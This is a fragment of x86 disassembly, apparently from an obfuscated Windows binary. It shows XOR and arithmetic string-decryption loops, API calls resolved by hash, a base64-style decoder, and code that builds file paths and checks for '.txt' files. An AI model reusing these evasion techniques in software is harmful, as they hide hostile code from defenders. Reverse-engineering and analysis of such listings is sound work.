jne 0x42afa0
mov word [ecx], 0
mov dword [esp + 0x14], 0x302012a
mov dword [esp + 0x18], 0
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 7
ja 0x42b01b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
mov edi, ecx
xor edi, 0xbcf624c0
and ecx, 0x3cf624c0
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x40
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 8
jb 0x42afe0
push 0
push 0
push 0
push 0xc00000
lea ecx, [esp + 0x24]
push ecx
push ebx
push eax
push dword [esp + 0x114]
call fcn.00421340
add esp, 0x20
mov eax, dword [esp + 0x60]
mov edx, dword [esp + 0x50]
lea ecx, [edx + eax]
add edx, eax
add edx, 0x17
lea eax, [ecx*2 + 0x2e]
test edx, edx
jns 0x42b05c
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov ebx, eax
mov eax, dword [esp + 0x4c]
movzx ecx, word [eax]
mov eax, ebx
test cx, cx
je 0x42b091
mov edx, dword [esp + 0x8c]
mov eax, ebx
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b080
mov word [eax], 0x5c
mov dword [esp + 0x14], 0xc9becba8
mov dword [esp + 0x18], 0xc55bc759
mov dword [esp + 0x1c], 0xc156c35b
mov dword [esp + 0x20], 0xfd93ffe0
mov dword [esp + 0x24], 0xf96bfb70
mov dword [esp + 0x28], 0xf569f776
mov dword [esp + 0x2c], 0xf169f36d
mov dword [esp + 0x30], 0xed7aef94
mov dword [esp + 0x34], 0xe960eb77
mov dword [esp + 0x38], 0xe572e773
mov dword [esp + 0x3c], 0xe17ce378
mov word [esp + 0x40], 0x1fe0
lea ecx, [esp + 0x14]
mov word [ecx + 0x32], 0
mov dword [ecx + 0x2e], 0
add eax, 2
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x33
mov ebp, dword [esp + 0x48]
ja 0x42b15b
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
mov edi, ecx
xor edi, 0x4a7777d3
and ecx, 0xca7777d3
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0xe1
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x34
jb 0x42b120
movzx ecx, word [ebp]
test cx, cx
je 0x42b181
lea edx, [ebp + 2]
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b170
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42b1b1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b1a0
mov word [eax], 0
lea eax, [esi + 0x12]
cmp dword [esp + 0x50], 0xfffffff7
jge 0x42b1c5
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov ebp, eax
mov dword [esp + 0x14], 0x9fe0b3d
mov dword [esp + 0x18], 0x58c07f3
mov dword [esp + 0x1c], 0x1f603ff
mov dword [esp + 0x20], 0x1de01ffc
mov word [esp + 0x24], 0x1b1c
lea eax, [esp + 0x14]
mov byte [eax + 0x16], 0
mov dword [eax + 0x12], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 0x16
ja 0x42b25b
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
add eax, 0x3062bbc3
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
mov ecx, eax
xor ecx, 0xcf
and eax, 0x30
add eax, eax
sub eax, ecx
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 0x17
jb 0x42b220
mov eax, dword [esp + 0x48]
movzx ecx, word [eax]
mov eax, ebp
test cx, cx
je 0x42b291
mov eax, dword [esp + 0x48]
lea edx, [eax + 2]
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b280
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42b2c1
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b2b0
mov word [eax], 0
mov dword [esp + 0x14], 0x302012a
mov dword [esp + 0x18], 0
mov dword [esp], 0
mov eax, dword [esp]
cmp eax, 7
ja 0x42b329
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp]
mov ecx, dword [esp]
movzx ecx, byte [esp + ecx + 0x14]
mov edx, eax
xor edx, 0xbcf624c0
and eax, 0x3cf624c0
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
add al, 0x40
mov ecx, dword [esp]
mov byte [esp + ecx + 0x14], al
inc dword [esp]
mov eax, dword [esp]
cmp eax, 8
jb 0x42b2f0
push 0
push 0
push 0
push 0xc00000
lea eax, [esp + 0x24]
push eax
push ebx
push ebp
push dword [esp + 0x114]
call fcn.00421340
add esp, 0x20
jmp dword [0x44c72c]
mov ecx, dword [esp + 0x88]
and cl, 1
or cl, al
mov dword [esp + 0x88], ecx
jmp dword [0x44c730]
push ebp
call fcn.0040c9a0
add esp, 4
jmp dword [0x44c748]
jmp dword [0x44c748]
push ebx
call fcn.0040c9a0
add esp, 4
mov eax, dword [case.0x428f82.160]
nop
nop
nop
nop
jmp eax
jmp dword [0x44c6cc]
lea eax, [esi + 0x10]
cmp dword [esp + 0x50], 0xfffffff8
jge 0x42b3a7
mov eax, 0xffffffff
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x14], 0x77ca798b
mov dword [esp + 0x18], 0x738075c4
mov dword [esp + 0x1c], 0x4fc671fc
mov dword [esp + 0x20], 0x4b4a4dc0
mov dword [esp + 0x24], 0
mov dword [esp + 0x10], 0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x13
mov ebp, dword [esp + 0x48]
ja 0x42b451
nop
nop
nop
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x10]
movzx edi, byte [esp + edx + 0x14]
mov edx, ecx
xor edx, 0x16305916
and ecx, 0x16305916
lea edx, [edx + ecx*2]
lea ecx, [edx + edi]
and edx, edi
mov edi, ecx
not edi
and edi, edx
mov ebx, edx
not ebx
and ecx, ebx
sub ecx, edi
mov edi, ecx
not edi
and edi, edx
and ecx, ebx
sub ecx, edi
mov dword [esp + 0x9c], ecx
mov ecx, dword [esp + 0x9c]
add cl, 0x92
mov edx, dword [esp + 0x10]
mov byte [esp + edx + 0x14], cl
inc dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
cmp ecx, 0x14
jb 0x42b3f0
movzx edx, word [ebp]
mov ecx, eax
test dx, dx
je 0x42b481
lea edi, [ebp + 2]
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42b470
mov word [ecx], 0
movzx edx, word [esp + 0x14]
test dx, dx
je 0x42b4b1
lea edi, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x42b4a0
mov word [ecx], 0
mov ecx, dword [esp + 0xf8]
push dword [esp]
push dword [esp + 8]
push eax
call fcn.0040d3d0
jmp case.0x428f82.141
mov word [eax], 0
mov ecx, dword [esp + 0xf8]
push dword [esp]
push dword [esp + 8]
push ebp
call fcn.0040d3d0
jmp dword [0x44c6d4]
cmp dword [esp + 0x50], 0xfffffff8
jge 0x42b500
mov eax, 0xffffffff
jmp 0x42b503
lea eax, [esi + 0x10]
push eax
call fcn.0040c990
add esp, 4
mov ebp, eax
mov dword [esp + 0x14], 0x77ca798b
mov dword [esp + 0x18], 0x738075c4
mov dword [esp + 0x1c], 0x4fc671fc
mov dword [esp + 0x20], 0x4b4a4dc0
mov dword [esp + 0x24], 0
mov dword [esp + 0x10], 0
mov eax, dword [esp + 0x10]
cmp eax, 0x13
ja 0x42b5af
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
movzx edx, byte [esp + ecx + 0x14]
mov ecx, eax
xor ecx, 0x16305916
and eax, 0x16305916
lea ecx, [ecx + eax*2]
lea eax, [ecx + edx]
and ecx, edx
mov edx, eax
not edx
and edx, ecx
mov edi, ecx
not edi
and eax, edi
sub eax, edx
mov edx, eax
not edx
and edx, ecx
and eax, edi
sub eax, edx
mov dword [esp + 0x9c], eax
mov eax, dword [esp + 0x9c]
add al, 0x92
mov ecx, dword [esp + 0x10]
mov byte [esp + ecx + 0x14], al
inc dword [esp + 0x10]
mov eax, dword [esp + 0x10]
cmp eax, 0x14
jb 0x42b550
mov eax, dword [esp + 0x48]
movzx ecx, word [eax]
mov eax, ebp
test cx, cx
je 0x42b5e1
mov eax, dword [esp + 0x48]
lea edx, [eax + 2]
mov eax, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b5d0
mov word [eax], 0
movzx ecx, word [esp + 0x14]
test cx, cx
je 0x42b4d0
lea edx, [esp + 0x16]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x42b600
jmp 0x42b4d0
mov ebx, eax
jmp dword [0x44c6d8]
push ebp
call fcn.0040c9a0
add esp, 4
push 0xe050b307
push dword [0x4506f8]
call fcn.00443d90
add esp, 8
push dword [esp + 4]
call eax
jmp dword [0x44c6e0]
push dword [esp + 0x54]
call fcn.0040c9a0
add esp, 4
push dword [esp + 0xb0]
call fcn.00404c30
add esp, 4
jmp case.0x428f82.134
mov dword [esp + 0xa0], ebx
not eax
shr eax, 0x1f
xor ebx, ebx
jmp dword [eax*4 + 0x44c6b0]
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0xa0]
mov byte [ecx + eax], 0
push ecx
call fcn.00403ba0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
xor ebx, ebx
jmp dword [ecx*4 + 0x44c6b8]
mov eax, dword [case.0x428f82.150]
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
jmp dword [0x44c6f8]
push dword [esp + 0xa0]
call fcn.0040c9a0
add esp, 4
mov eax, dword [esp + 0x5c]
mov dword [esp], 0x74757677
mov dword [esp + 8], 0
mov ecx, dword [esp + 8]
cmp ecx, 3
ja 0x42b72e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp + 8]
mov edx, dword [esp + 8]
movzx edx, byte [esp + edx]
mov edi, ecx
xor edi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [edi + ecx*2]
xor ecx, edx
mov dword [esp + 0x14], ecx
mov ecx, dword [esp + 0x14]
add cl, 0x9c
mov edx, dword [esp + 8]
mov byte [esp + edx], cl
inc dword [esp + 8]
mov ecx, dword [esp + 8]
cmp ecx, 4
jb 0x42b6f0
mov ecx, dword [0x450704]
test ecx, ecx
je 0x42b769
mov edx, dword [esp]
xor edi, edi
mov ebp, dword [0x450708]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp dword [ebp + edi*8], 0x625b6034
je 0x42b761
inc edi
cmp ecx, edi
jne 0x42b750
jmp 0x42b769
mov ecx, dword [ebp + edi*8 + 4]
cmp ecx, edx
jne 0x42b7ac
mov ebp, dword [esp + 0xa4]
jmp dword [0x44c710]
movzx eax, bl
jmp dword [eax*4 + 0x44c718]
mov eax, dword [case.0x428f82.180]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp eax
mov ecx, dword [esp + 0xb4]
add ecx, 4
mov eax, dword [case.0x429f97.63]
jmp case.0x429f97.60
jmp dword [0x44c724]
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
mov ebp, dword [esp + 0xa4]
jmp dword [0x44c710]
mov dword [esp + 0xb0], eax
push eax
call fcn.00404680
add esp, 4
mov dword [esp + 0x14], 0x181d6e6b
mov dword [esp + 0x18], 0x7772646a
mov dword [esp + 0x1c], 0x740432
mov dword [esp + 0x20], 0x7f7a7c72
mov dword [esp + 0x24], 0xd0d0d
mov dword [esp + 0x28], 0x927409
mov dword [esp], 0
mov ecx, dword [esp]
cmp ecx, 0x17
ja 0x42b865
nop
nop
nop
nop
nop
nop
mov ecx, dword [esp]
mov edx, dword [esp]
movzx edx, byte [esp + edx + 0x14]
mov edi, ecx
xor edi, 0x540c1a2a
and ecx, 0xd40c1a2a
lea ecx, [edi + ecx*2]
lea edi, [ecx + edx]
not edx
or ecx, edx
sub edx, ecx
lea ecx, [edi + edx*2]
mov dword [esp + 8], ecx
mov ecx, dword [esp + 8]
add cl, 0x2e
mov edx, dword [esp]
mov byte [esp + edx + 0x14], cl
inc dword [esp]
mov ecx, dword [esp]
cmp ecx, 0x18
jb 0x42b820
lea ecx, [esp + 0x14]
push ecx
push eax
call fcn.00404a40
add esp, 8
mov ebx, eax
mov edx, 0xffffffff
mov ecx, 0xfffffffd
nop
mov eax, edx
add ecx, 3
cmp byte [ebx + edx + 1], 0
lea edx, [edx + 1]
jne 0x42b880
shr ecx, 2
movzx eax, byte [ebx + edx - 1]
cmp eax, 0x3d
je 0x42b8a1
cmp eax, 0x2e
jne 0x42b8a2
dec ecx
movzx eax, byte [ebx + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x58], edx
je 0x42b8b5
cmp eax, 0x2e
jne 0x42b8b6
dec ecx
mov dword [esp + 0xac], ecx
lea eax, [ecx + 1]
push eax
call fcn.0040c990
add esp, 4
mov dword [esp + 0x54], eax
cmp dword [esp + 0x58], 0
je 0x42b9ee
xor edi, edi
mov ebp, 2
mov dword [esp + 0x90], ebx
jmp 0x42b90e
lea eax, [ebp + 4]
add ebp, 2
mov edi, dword [esp + 0x94]
cmp ebp, edx
mov ebp, eax
mov ebx, dword [esp + 0x90]
jae 0x42b9ee
movzx eax, byte [ebx + ebp - 2]
push eax
call fcn.0041eac0
add esp, 4
mov ecx, ebx
mov ebx, eax
movzx eax, byte [ecx + ebp - 1]
push eax
call fcn.0041eac0
mov edx, dword [esp + 0x5c]
add esp, 4
mov bh, al
shl bl, 2
shr al, 4
and al, 3
or al, bl
lea ecx, [edi + 1]
mov dword [esp + 0x94], ecx
mov ecx, dword [esp + 0x54]
mov dword [esp + 0xa8], edi
mov byte [ecx + edi], al
cmp ebp, edx
jae 0x42b8f0
mov eax, dword [esp + 0x90]
movzx eax, byte [eax + ebp]
push eax
call fcn.0041eac0
mov edx, dword [esp + 0x5c]
add esp, 4
cmp al, 0x40
je 0x42b8f0
mov bl, al
shl bh, 4
shr al, 2
and al, 0xf
or al, bh
mov edi, dword [esp + 0xa8]
lea ecx, [edi + 2]
mov dword [esp + 0x94], ecx
mov ecx, dword [esp + 0x54]
mov byte [ecx + edi + 1], al
lea eax, [ebp + 1]
cmp eax, edx
jae 0x42b8f0
mov eax, dword [esp + 0x90]
movzx eax, byte [eax + ebp + 1]
push eax
call fcn.0041eac0
mov edx, dword [esp + 0x5c]
add esp, 4
cmp al, 0x40
je 0x42b8f0
shl bl, 6
add al, bl
mov ecx, dword [esp + 0x54]
mov edi, dword [esp + 0xa8]
mov byte [ecx + edi + 2], al
add edi, 3
mov dword [esp + 0x94], edi
jmp 0x42b8f0
mov eax, dword [esp + 0xac]
add eax, 0xfffffffb
mov dword [esp + 8], eax
mov eax, dword [esp + 0x54]
add eax, 5
mov dword [esp + 0xc], eax
mov dword [esp], 0
mov dword [esp + 4], 0
push 0x6c625980
push dword [0x450710]
call fcn.00443d90
add esp, 8
mov ecx, esp
lea edx, [esp + 8]
push ecx
push 0
push 0
push 0
push 0
push 0
push edx
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44c6c0]
mov edi, dword [esp + 0x98]
lea eax, [edi + 1]
push eax
call fcn.0040c990
add esp, 4
push 0
push edi
push eax
push dword [esp + 0x68]
call fcn.00444d10
add esp, 0x10
mov edi, dword [esp + 0x98]
lea eax, [edi + 1]
push eax
call fcn.0040c990
add esp, 4
mov ebx, eax
push 0
push edi
push eax
push dword [esp + 0x68]
call fcn.00444d10
add esp, 0x10
jmp dword [0x44c6a8]
jmp dword [0x44c688]
push dword [esp + 0x4c]
call fcn.0040c9a0
add esp, 4
jmp dword [0x44c774]
jmp dword [0x44c774]
jmp dword [0x44c778]
jmp dword [0x44c778]
mov eax, dword [esp + 0x88]
and al, 1
add esp, 0xe4
pop esi
pop edi
pop ebx
pop ebp
ret
int3
lea ebx, [edi + 0xa]
movzx eax, byte [edi + 0xa]
xor edx, edx
test al, al
je 0x42bb12
mov ecx, ebx
nop
cmp al, 0x22
je 0x42bb10
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x42bb00
jmp 0x42bb12
mov edx, ecx
mov ecx, edx
sub ecx, ebx
xor eax, eax
cmp ecx, 5
setb al
jmp dword [eax*4 + 0x44c7f0]
xor eax, eax
cmp byte [edx - 1], 0x74
setne al
jmp dword [eax*4 + 0x44c808]
xor eax, eax
cmp byte [edx - 2], 0x78
setne al
jmp dword [eax*4 + 0x44c810]
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x3c]
add eax, 0x1b
mov dword [ebp - 0x54], eax
xor eax, eax
cmp byte [edx - 3], 0x74
setne al
mov dword [ebp - 0x1c], edx
jmp dword [eax*4 + 0x44c818]
jmp dword [0x44c828]
xor eax, eax
cmp byte [edx - 4], 0x2e
setne al
jmp dword [eax*4 + 0x44c830]
mov eax, ecx
inc eax
jns 0x42bb92
mov eax, 0xffffffff
jmp 0x42bb99
lea eax, [ecx*2 + 2]
mov esi, ecx
push eax
call fcn.0040c990
add esp, 4
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], esi
lea ecx, [eax + esi*2]
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x2c], ecx
cmp eax, ecx
mov ecx, dword [ebp - 0x1c]
jae 0x42bc01
mov edx, dword [ebp - 0x20]
cmp ebx, ecx
jae 0x42bc01
mov edx, dword [ebp - 0x20]
mov esi, ebx
nop
nop
nop
nop
cmp byte [esi], 0
je 0x42bc01
lea eax, [ebp - 0x14]
push eax
push ecx
push esi
mov dword [ebp - 0x30], edx
call fcn.00411290
mov edx, dword [ebp - 0x30]
add esp, 0xc
movzx ecx, word [ebp - 0x14]
mov word [edx], cx
add edx, 2
cmp edx, dword [ebp - 0x2c]
jae 0x42bc01
add esi, eax
mov ecx, dword [ebp - 0x1c]
cmp esi, ecx
jb 0x42bbd0
mov word [edx], 0
push 0x60
push 3
push 0x120089
mov esi, dword [ebp - 0x4c]
push esi
push dword [ebp - 0x20]
call fcn.004448c0
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c838]
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
jmp dword [0x44c898]
mov ecx, dword [ebp - 0x34]
jmp dword [0x44c844]
jmp dword [0x44c888]
push esi
call fcn.0040c990
add esp, 4
push 0
push esi
mov esi, eax
push eax
mov eax, dword [ebp - 0x4c]
push dword [eax]
call fcn.00444d10
add esp, 0x10
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c858]
mov dword [ebp - 0x50], esi
xor edx, edx
mov ecx, dword [ebp - 0x20]
jmp 0x42bc88
add ecx, 2
test si, si
je 0x42bc99
mov eax, edx
movzx esi, word [ecx]
mov edx, ecx
cmp si, 0x5c
je 0x42bc80
mov edx, eax
jmp 0x42bc80
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x44c860]
mov dword [ebp - 0x2c], 0
xor ecx, ecx
jmp 0x42bcce
mov edx, dword [ebp - 0x20]
mov ecx, edx
not ecx
and ecx, eax
add ecx, ecx
xor eax, edx
sub ecx, eax
sar ecx, 1
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
not ecx
add ecx, dword [ebp - 0x28]
mov esi, dword [ebp - 0x3c]
add ecx, 0x1b
push ecx
call fcn.0040c990
add esp, 4
mov dword [ebp - 0x30], eax
mov dword [esi], 0xe0fee007
mov dword [esi + 4], 0xfbf1e7e2
mov dword [esi + 8], 0xf21037e0
mov dword [esi + 0xc], 0x2ceffcf4
mov dword [esi + 0x10], 0x6eaee12
mov dword [esi + 0x14], 0xc8060010
mov word [esi + 0x18], 0xd6c9
mov byte [esi + 0x1a], 0xa6
mov eax, dword [ebp - 0x54]
mov dword [eax], 0
mov byte [eax + 4], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0x1f
ja 0x42bd65
nop
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
movzx ecx, byte [esi + ecx]
mov edx, eax
xor edx, 0x9f22a46d
and eax, 0x1f22a46d
lea eax, [edx + eax*2]
xor eax, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add al, 0xdf
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0x20
jb 0x42bd30
movzx ecx, byte [esi]
mov eax, dword [ebp - 0x30]
test cl, cl
mov edx, dword [ebp - 0x58]
je 0x42bd8b
mov eax, dword [ebp - 0x30]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [eax], cl
inc eax
movzx ecx, byte [edx]
inc edx
test cl, cl
jne 0x42bd80
mov byte [eax], 0
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
sub esi, ecx
mov edx, dword [ebp - 0x1c]
je 0x42bdc4
add ebx, ecx
mov dword [ebp - 0x28], esi
and esi, 3
je 0x42bdc8
xor ecx, ecx
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
mov byte [eax + ecx], dl
inc ecx
cmp esi, ecx
jne 0x42bda7
add eax, ecx
sub dword [ebp - 0x28], ecx
mov ecx, eax
mov edx, dword [ebp - 0x1c]
jmp 0x42bdc8
mov ecx, eax
jmp 0x42be13
mov esi, dword [ebp - 0x2c]
add esi, edi
sub edx, esi
add edx, 0xfffffff5
cmp edx, 3
mov esi, dword [ebp - 0x28]
jb 0x42be13
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + 1], cl
movzx ecx, byte [ebx]
cmp cl, 1
sbb ebx, 0xffffffff
mov byte [eax + 2], cl
movzx edx, byte [ebx]
cmp dl, 1
sbb ebx, 0xffffffff
lea ecx, [eax + 4]
mov byte [eax + 3], dl
mov eax, ecx
add esi, 0xfffffffc
jne 0x42bdda
mov byte [ecx], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x34]
push dword [eax]
mov esi, dword [ebp - 0x50]
push esi
mov edi, dword [ebp - 0x30]
push edi
call fcn.0040d580
mov ecx, dword [ebp - 0x18]
and cl, 1
or cl, al
mov dword [ebp - 0x18], ecx
jmp dword [0x44c878]
push edi
call fcn.0040c9a0
add esp, 4
jmp dword [0x44c880]
jmp dword [0x44c880]
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov dword [ebp - 0x24], 0x74757677
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x10]
cmp ecx, 3
ja 0x42bea9
nop
nop
nop
nop
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
movzx edx, byte [ebp + edx - 0x24]
mov esi, ecx
xor esi, 0x6edbb14
and ecx, 0x6edbb14
lea ecx, [esi + ecx*2]
xor ecx, edx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
add cl, 0x9c
mov edx, dword [ebp - 0x10]
mov byte [ebp + edx - 0x24], cl
inc dword [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
cmp ecx, 4
jb 0x42be70
mov ecx, dword [0x450704]
test ecx, ecx
je 0x42bed8
mov edx, dword [ebp - 0x24]
xor esi, esi
mov edi, dword [0x450708]
nop
nop
cmp dword [edi + esi*8], 0x625b6034
je 0x42bed0
inc esi
cmp ecx, esi
jne 0x42bec0
jmp 0x42bed8
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
jne 0x42bf28
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
jmp dword [0x44c898]
jmp dword [0x44c8a4]
push edi
call fcn.0040c9a0
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push edi
call fcn.0040c9a0
mov eax, dword [ebp - 0x1c]
add esp, 4
jmp dword [0x44c8a8]
mov ebx, eax
jmp dword [0x44c8b8]
push eax
push 1
push dword [0x45070c]
push ecx
call fcn.00441120
add esp, 0x10
mov esi, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x20]
jmp dword [0x44c898]
push 0
push ecx
push dword [esi]
call fcn.00444c20
mov ecx, dword [ebp - 0x34]
add esp, 0xc
push 0
push ecx
push dword [esi]
call fcn.00444c20
mov ecx, dword [ebp - 0x34]
add esp, 0xc
jmp dword [0x44c848]
mov esi, dword [ecx]
test eax, eax
setns al
cmp esi, 0x100000
setb cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x44c850]
push esi
call fcn.0040c9a0
add esp, 4
push esi
call fcn.0040c9a0
add esp, 4
jmp dword [0x44c890]
mov dword [esi], 0xbab2b0b2
mov dword [esi + 4], 0xc6cfbcae
mov word [esi + 8], 0x71d
mov byte [esi + 0xa], 0x66
mov word [esi + 0xb], 0
mov byte [esi + 0xd], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
cmp eax, 0xd
ja 0x42c02b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
movzx eax, byte [esi + eax]
mov edx, ecx
xor edx, 0x118ccbba
and ecx, 0x118ccbba
lea edx, [edx + ecx*2]
mov ecx, edx
and ecx, eax
add eax, edx
sub eax, ecx
mov edx, 0x5b45ccff
sub edx, eax
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
add al, 0x5e
mov ecx, dword [ebp - 0x10]
mov byte [esi + ecx], al
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, 0xe
jb 0x42bfe0
movzx ecx, byte [esi]
test cl, cl
je 0x42c060
mov eax, esi
mov edi, ebx
jmp 0x42c04c
inc edi
mov ebx, edi
mov eax, esi
movzx ecx, byte [eax]
test cl, cl
je 0x42c072
movzx edx, byte [ebx]
test dl, dl
je 0x42c070
cmp dl, cl
jne 0x42c040
inc ebx
inc eax
jmp 0x42c045
mov edi, ebx
jmp 0x42c072
xor edi, edi
xor eax, eax
test edi, edi
sete al
jmp dword [eax*4 + 0x44c7e8]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x44c790]
xor eax, eax
jmp dword [0x44c8c8]
mov esi, dword [ebp - 0x1c]
jmp dword [0x44c79c]
push 0
push esi
mov dword [ebp - 0x48], eax
push eax
push dword [edi]
call fcn.00444d10
add esp, 0x10
not eax
shr eax, 0x1f
mov dword [ebp - 0x18], 0
mov esi, dword [ebp - 0x38]
jmp dword [eax*4 + 0x44c7c0]
mov edi, dword [ebp - 0x44]
mov ebx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x48]
jmp dword [0x44c8c0]
push eax
call fcn.0040c9a0
add esp, 4
jmp case.0x428f82.196
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
jmp dword [0x44c7d8]
mov ebx, dword [ebp - 0x48]
mov byte [ebx + eax], 0
mov dword [ebp - 0x18], 0
jmp dword [0x44c7e0]
mov ebx, dword [ebp - 0x48]
mov byte [ebx + eax], 0
mov byte [ebx + eax], 0
mov dword [ebp - 0x18], 0
jmp dword [0x44c7e0]
push eax
mov dword [ebp - 0x18], esp
sub esp, 0x44
mov eax, esp
sub esp, 0x40
mov ebx, esp
push eax
mov dword [ebp - 0x40], esp
mov ecx, dword [0x450700]
mov dword [eax], 0x2165277b
mov dword [eax + 4], 0x5db223b0
mov dword [eax + 8], 0x593d5f20
mov dword [eax + 0xc], 0x55395bd4
mov dword [eax + 0x10], 0x5132570b
mov dword [eax + 0x14], 0x4dc35326
mov dword [eax + 0x18], 0x49d14fc0
mov dword [eax + 0x1c], 0x45294bd8
mov dword [eax + 0x20], 0x411347d8
mov dword [eax + 0x24], 0x7d264315
mov dword [eax + 0x28], 0x79e17ff1
